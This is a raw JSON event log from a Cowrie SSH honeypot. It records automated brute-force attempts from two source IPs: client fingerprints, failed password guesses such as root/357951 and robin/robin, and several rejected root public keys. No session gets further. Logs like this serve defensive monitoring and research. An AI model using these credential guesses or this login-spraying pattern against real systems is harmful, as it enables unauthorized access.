{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:14:18.976474Z","src_ip":"213.209.159.158","session":"0ab23c123221","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:14:18.980962Z","src_ip":"213.209.159.158","session":"0ab23c123221","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"357951","message":"login attempt [root/357951] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:14:28.803993Z","src_ip":"213.209.159.158","session":"0ab23c123221","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"15.1","message":"Connection lost after 15.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:14:31.979722Z","src_ip":"213.209.159.158","session":"0ab23c123221","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":50412,"dst_ip":"159.203.135.109","dst_port":22,"session":"6c8164556ef1","protocol":"ssh","message":"New connection: 213.209.159.158:50412 (159.203.135.109:22) [session: 6c8164556ef1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:14:32.076351Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:14:34.593501Z","src_ip":"213.209.159.158","session":"6c8164556ef1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:14:34.596605Z","src_ip":"213.209.159.158","session":"6c8164556ef1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"robin","password":"robin","message":"login attempt [robin/robin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:14:44.148025Z","src_ip":"213.209.159.158","session":"6c8164556ef1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"15.4","message":"Connection lost after 15.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:14:47.460904Z","src_ip":"213.209.159.158","session":"6c8164556ef1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":57150,"dst_ip":"159.203.135.109","dst_port":22,"session":"2d21db025f09","protocol":"ssh","message":"New connection: 213.209.159.158:57150 (159.203.135.109:22) [session: 2d21db025f09]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:14:47.540753Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:14:49.915144Z","src_ip":"213.209.159.158","session":"2d21db025f09","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:14:49.918702Z","src_ip":"213.209.159.158","session":"2d21db025f09","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mtm","password":"mtm","message":"login attempt [mtm/mtm] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:14:59.364065Z","src_ip":"213.209.159.158","session":"2d21db025f09","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"15.5","message":"Connection lost after 15.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:15:03.027715Z","src_ip":"213.209.159.158","session":"2d21db025f09","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":31646,"dst_ip":"159.203.135.109","dst_port":22,"session":"9cd105083ad2","protocol":"ssh","message":"New connection: 213.209.159.158:31646 (159.203.135.109:22) [session: 9cd105083ad2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:15:03.115168Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:15:05.346676Z","src_ip":"213.209.159.158","session":"9cd105083ad2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:15:05.351581Z","src_ip":"213.209.159.158","session":"9cd105083ad2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.11.57.172","src_port":46156,"dst_ip":"10.17.0.5","dst_port":22,"session":"27f8db6c0adf","protocol":"ssh","message":"New connection: 45.11.57.172:46156 (10.17.0.5:22) [session: 27f8db6c0adf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:15:13.881236Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:15:13.886878Z","src_ip":"45.11.57.172","session":"27f8db6c0adf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:15:14.001153Z","src_ip":"45.11.57.172","session":"27f8db6c0adf","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"99:43:17:01:1b:5d:59:2b:a1:f7:4f:08:3f:79:be:18","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC8Q6wkvXo0iBU0YLkg5yduuXSpYfzeXqV+5BKNdKXHSVTxi0l9qA3Oxw1QIaULWXWNfpahlR+vzJWnknk2Sgj80odzZToJ2mRqTjo3enwYe0fwhRvq0hOlDRBkhbu0sPuiQgHKB8tQ66Llco55qWbgj5MaS57xhnrfqlMeWy/Uy9J3Sv9mlNxNNJHbOe1CGiumngcviVIYiVfu0JwIFOcYFgRHsQMolAPDojAnZi3CvPVyT26PSdbgeOq910PXxMFl5gqCL31I6yFf6RmZtF31xa9b89EG9mci4UKqU1RzqTdYMhrfHAethZZTohHUqhPFgUt5uY91mslgQQzdpGEF","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 99:43:17:01:1b:5d:59:2b:a1:f7:4f:08:3f:79:be:18","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:15:14.532660Z","src_ip":"45.11.57.172","session":"27f8db6c0adf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"99:43:17:01:1b:5d:59:2b:a1:f7:4f:08:3f:79:be:18","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC8Q6wkvXo0iBU0YLkg5yduuXSpYfzeXqV+5BKNdKXHSVTxi0l9qA3Oxw1QIaULWXWNfpahlR+vzJWnknk2Sgj80odzZToJ2mRqTjo3enwYe0fwhRvq0hOlDRBkhbu0sPuiQgHKB8tQ66Llco55qWbgj5MaS57xhnrfqlMeWy/Uy9J3Sv9mlNxNNJHbOe1CGiumngcviVIYiVfu0JwIFOcYFgRHsQMolAPDojAnZi3CvPVyT26PSdbgeOq910PXxMFl5gqCL31I6yFf6RmZtF31xa9b89EG9mci4UKqU1RzqTdYMhrfHAethZZTohHUqhPFgUt5uY91mslgQQzdpGEF","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:15:14.538357Z","src_ip":"45.11.57.172","session":"27f8db6c0adf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Root12","message":"login attempt [root/Root12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:15:14.563785Z","src_ip":"213.209.159.158","session":"9cd105083ad2","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e9:f8:98:66:bb:45:7c:e1:fa:90:d7:35:ca:21:70:34","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCwk1Nfb0VmKGPttb9oznfcccJiCTOfzT1uox/xSczB4JsqdlCqO61zElpugN5L/HO+JDQbVs4HkWerng+GUn0kJ9hexacrZDEDipvq6EdFivfH12Fdte+2YSosu/BSwVJYEXufsSNGb0Rn0mu5loiOp5gBpUFjpGCUxbK/Fue+wKLmwdFlEH1zh7GEV1T34QAqvWnaj7hpU6b4abFY+Fqmrq8WjFswtCAzivww0ZL2qyxt9ds9wH0kNRyWYPpClmxVcydVhmmF86U24Nm+oZiTJ2IYjzkWUFeoIS6mALT3KQyDFvFX0D06VfzlOPPodngLL5jCJEYfNlQCnY9KXba/","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e9:f8:98:66:bb:45:7c:e1:fa:90:d7:35:ca:21:70:34","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:15:14.653977Z","src_ip":"45.11.57.172","session":"27f8db6c0adf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e9:f8:98:66:bb:45:7c:e1:fa:90:d7:35:ca:21:70:34","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCwk1Nfb0VmKGPttb9oznfcccJiCTOfzT1uox/xSczB4JsqdlCqO61zElpugN5L/HO+JDQbVs4HkWerng+GUn0kJ9hexacrZDEDipvq6EdFivfH12Fdte+2YSosu/BSwVJYEXufsSNGb0Rn0mu5loiOp5gBpUFjpGCUxbK/Fue+wKLmwdFlEH1zh7GEV1T34QAqvWnaj7hpU6b4abFY+Fqmrq8WjFswtCAzivww0ZL2qyxt9ds9wH0kNRyWYPpClmxVcydVhmmF86U24Nm+oZiTJ2IYjzkWUFeoIS6mALT3KQyDFvFX0D06VfzlOPPodngLL5jCJEYfNlQCnY9KXba/","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:15:14.658995Z","src_ip":"45.11.57.172","session":"27f8db6c0adf","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c1:c2:f1:8a:99:7a:50:4a:34:95:71:a4:07:08:03:46","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCzip4rIq5ziMGZfYTjQ7dn3KqNGbasWiBLidK7ZRFNqFr7NeDdrU5RUKX3yEiX34mpWUR4PLHGtDkLekPkcPCaJZ198ShrbmgEO8bufteKa9u1WbrDLqEvtgUhRNvukv70ZEaBU60rIX+feUe9oqY4Od9ycnfGUJj+uHzlllzHIYSHoTEWnjsf53KElwCegd82tJom1zwWH8u5hZ9wQo1Smrz4TjQHLQC4J3L9xnNeWXaCTM/aiQ1SfQ0dwc8VVvka0CI5U4cvmdLIMUh84IrwI2VpefHzpjKyo0oN+49vvomLazsaqxD5YDe11dv4mApzpeHmuV7S59jls42JxFW3","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c1:c2:f1:8a:99:7a:50:4a:34:95:71:a4:07:08:03:46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:15:14.776616Z","src_ip":"45.11.57.172","session":"27f8db6c0adf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c1:c2:f1:8a:99:7a:50:4a:34:95:71:a4:07:08:03:46","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCzip4rIq5ziMGZfYTjQ7dn3KqNGbasWiBLidK7ZRFNqFr7NeDdrU5RUKX3yEiX34mpWUR4PLHGtDkLekPkcPCaJZ198ShrbmgEO8bufteKa9u1WbrDLqEvtgUhRNvukv70ZEaBU60rIX+feUe9oqY4Od9ycnfGUJj+uHzlllzHIYSHoTEWnjsf53KElwCegd82tJom1zwWH8u5hZ9wQo1Smrz4TjQHLQC4J3L9xnNeWXaCTM/aiQ1SfQ0dwc8VVvka0CI5U4cvmdLIMUh84IrwI2VpefHzpjKyo0oN+49vvomLazsaqxD5YDe11dv4mApzpeHmuV7S59jls42JxFW3","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:15:14.782876Z","src_ip":"45.11.57.172","session":"27f8db6c0adf","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"80:ba:09:e5:ba:46:9d:2b:7e:5f:eb:18:6d:b9:94:07","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA2KjFAFyT+fW6QagpUJvRmZoON3TMIBpLb6RRjOU25MS1gS01izAcKKm36QaEqBtxvfP/E5VuPQ9LpLX3yZmhfhCxjbuCE24omxp75M0n78vYAEH9v5MtS5ufQUlgttkeMn2erVjcA6P1MoBvhQaAnhUisXa9NrUP8wJaRVtufsOWAK/xxeZNOuXCSx2ASWf9skjGixvo31ULgLrFkWYPHqZACjc41ZxTz0dEzwmNzCn3qaxz7s5irHb/wyYkq/BFp4FzZXz/NcSE8Or4Y4e7CsLZXSApdB6QPxn3Eu4vFfJKGO77JUqpXlLRujC5akk8nOq0DLz5E/8TjYCUosvTuw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 80:ba:09:e5:ba:46:9d:2b:7e:5f:eb:18:6d:b9:94:07","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:15:14.899963Z","src_ip":"45.11.57.172","session":"27f8db6c0adf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"80:ba:09:e5:ba:46:9d:2b:7e:5f:eb:18:6d:b9:94:07","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA2KjFAFyT+fW6QagpUJvRmZoON3TMIBpLb6RRjOU25MS1gS01izAcKKm36QaEqBtxvfP/E5VuPQ9LpLX3yZmhfhCxjbuCE24omxp75M0n78vYAEH9v5MtS5ufQUlgttkeMn2erVjcA6P1MoBvhQaAnhUisXa9NrUP8wJaRVtufsOWAK/xxeZNOuXCSx2ASWf9skjGixvo31ULgLrFkWYPHqZACjc41ZxTz0dEzwmNzCn3qaxz7s5irHb/wyYkq/BFp4FzZXz/NcSE8Or4Y4e7CsLZXSApdB6QPxn3Eu4vFfJKGO77JUqpXlLRujC5akk8nOq0DLz5E/8TjYCUosvTuw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:15:14.906016Z","src_ip":"45.11.57.172","session":"27f8db6c0adf","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"43:12:35:a9:bd:fb:54:c4:a2:0b:b2:3c:53:0b:aa:03","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC/vYPoa4Y3ngxCNxIWqItnYktZ6BYPChzQWf5baCLbIBr0G2ugrF3MENJF2XfolD2GZo3KJr+jmUPySG0et70SPp1HU+7GiqOrDMm9PhL+4R1Xa6WsDCQw/jCXGvpPju1cYNwma3MbWDoQgWwRLG4B14x7gNWmAQHe3tFgXgdmgN03J0H/pWnJzPl7i3gTnq150Io5xA6Dwwlz8unV3jN5z9kp9B+E8+SiBP1mW99FXpvfKrVL+GbAMN+IkLhUTaV6tVf2jCz6/1ao+VowEsA/PHtFr27T59evGrNQQewvV6MtSfnJnU+7gdKreOWhyPO+iI55HI/bYNjlV4+bUtEr","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 43:12:35:a9:bd:fb:54:c4:a2:0b:b2:3c:53:0b:aa:03","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:15:15.023401Z","src_ip":"45.11.57.172","session":"27f8db6c0adf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"43:12:35:a9:bd:fb:54:c4:a2:0b:b2:3c:53:0b:aa:03","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC/vYPoa4Y3ngxCNxIWqItnYktZ6BYPChzQWf5baCLbIBr0G2ugrF3MENJF2XfolD2GZo3KJr+jmUPySG0et70SPp1HU+7GiqOrDMm9PhL+4R1Xa6WsDCQw/jCXGvpPju1cYNwma3MbWDoQgWwRLG4B14x7gNWmAQHe3tFgXgdmgN03J0H/pWnJzPl7i3gTnq150Io5xA6Dwwlz8unV3jN5z9kp9B+E8+SiBP1mW99FXpvfKrVL+GbAMN+IkLhUTaV6tVf2jCz6/1ao+VowEsA/PHtFr27T59evGrNQQewvV6MtSfnJnU+7gdKreOWhyPO+iI55HI/bYNjlV4+bUtEr","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:15:15.028442Z","src_ip":"45.11.57.172","session":"27f8db6c0adf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:15:15.144811Z","src_ip":"45.11.57.172","session":"27f8db6c0adf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"14.9","message":"Connection lost after 14.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:15:18.039023Z","src_ip":"213.209.159.158","session":"9cd105083ad2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":20980,"dst_ip":"159.203.135.109","dst_port":22,"session":"c47704f020ed","protocol":"ssh","message":"New connection: 213.209.159.158:20980 (159.203.135.109:22) [session: c47704f020ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:15:18.130712Z"}
